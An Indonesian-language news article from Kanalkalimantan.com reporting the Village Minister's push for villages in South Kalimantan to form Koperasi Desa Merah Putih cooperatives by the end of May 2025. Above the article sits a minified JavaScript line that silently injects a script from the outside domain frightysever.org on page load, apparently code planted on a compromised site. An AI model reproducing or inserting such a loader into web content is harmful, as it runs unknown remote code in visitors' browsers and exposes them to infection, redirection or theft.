(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Mendes PDT Minta Kades se Kalsel Rampungkan Pembentukan Koperasi Desa Merah Putih

KANALKALIMANTAN.COM, BANJARBARU – Menteri Desa dan Pembangunan Daerah Tertinggal (Mendes PDT) Yandri Susanto berdialog dengan kepala desa dan perangkat desa se Kalsel di GOR Babussalam Banjarbaru, Rabu (21/5/2025) siang

Mendes PDT, Yandri Susanto di hadapan kepala desa beserta perangkat dari 13 kabupaten dan kota se Kalsel meluncurkan pembentukan Koperasi Desa Merah Putih.

Menteri Yandri Susanto meminta pada akhir Mei ini, semua desa di Kalsel selesai melaksanakan Musyawarah Desa Khusus untuk segera membentuk Koperasi Desa Merah Putih dengan badan hukum.

“Setelah itu lanjut ke akta notaris yang membuat berita acara kapan didirikan koperasi, tanggal berapa berdiri, siapa ketua dan sebagainya itu akan terbuat di akta notaris setelah itu baru diurus ke badan hukum,” ujar Mendes PDT, Yandri Susanto saat diwawancarai, Rabu (21/5/2025).

Pembentukan Koperasi Desa Merah Putih bisa memanfaatkan sumber dana, seperti dari 3 persen operasional dana desa. Atau bisa dari dana Belanja Tidak Terduga (BTT) dari Wali Kota atau Bupati setempat.

“Atau Gubernur melobi bank daerah atau perusahaan daerah untuk memberikan CSR,” sambungnya.

Ia mengatakan penting dilakukan musyawarah khusus dan membentuk Koperasi Desa Merah Putih. Sebab jika tidak dilakukan, maka dana desa tahap kedua tidak akan dicairkan, hal itu sesuai dengan surat Menteri Keuangan.

“Kita menanggapi ini serius, karena ini perintah langsung dari bapak Presiden Prabowo melalui Impres Nomor 9 tahun 2025 dan Kepres suadah ada semua, satgas bergerak dari pusat ke daerah wajib untuk supervisi mengawal pembentukan Koperasi Desa Merah Putih,” katanya.

Sampai saat ini, musyawarah desa khusus ini sudah dilakukan oleh sekitar 3.000 desa di seluruh Indonesia. Kemendes PDT menargetkan pada akhir Mei, musyawarah desa khusus bisa selesai.

Paling lambat pada 2 Juni tepat Hari Koperasi, pihaknya menargetkan semus koperasi desa sudah berbadan hukum.

“Baru nanti kita bicara tentang rencana bisnisnya, gudang, gerai, dan sebagainya,tapi sekarang pada tahap pembentukan Koperasi Desa Merah Putih melalui musyawarah khusus,” jelas Yandri.

Yandri menegaskan tidak akan ada tumpang tindih dan tidak ada saling meniadakan antara koperasi desa dengan BUMDes (Badan Usaha Milik Desa).

Ia kembali menjelaskan, ada tiga metode pembentukan Koperasi Merah Putih. Pertama bisa membentuk baru, kemudian boleh penggabungan atau koperasi yang mati bisa dihidupkan kembali.

“Inti pokoknya yang sudah ada silahkan jalan, kalau gak mau gabung tetap kita bentuk, termasuk BUMDes tidak perlu mati karena antara BUMDes dengan Kopdes itu beda dari sisi hukum dan pendanaan. Perintah bapak Presiden Kopdes jalan dan BUMDes jalan,” tegasnya.

Sementara Gubernur Kalsel H Muhidin saat mendampingi Mendes PDT mengatakan bahwa di Kalsel sudah memiliki 11 koperasi desa yang berbadan hukum.

Sedangkan untuk musyawarah desa khusus, pemerintah daerah belum pasti menghitung jumlahnya. Ia menghimbau agar bisa menyelesaikan target pada akhir Mei hingga Juni.
“Kita berterima kasih kepada menteri bisa datang ke Kalsel, melihat dan memonitor sampai sejauh mana perjalanan Koperasi Desa Merah Putih,” kata Gubernur Kalsel. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie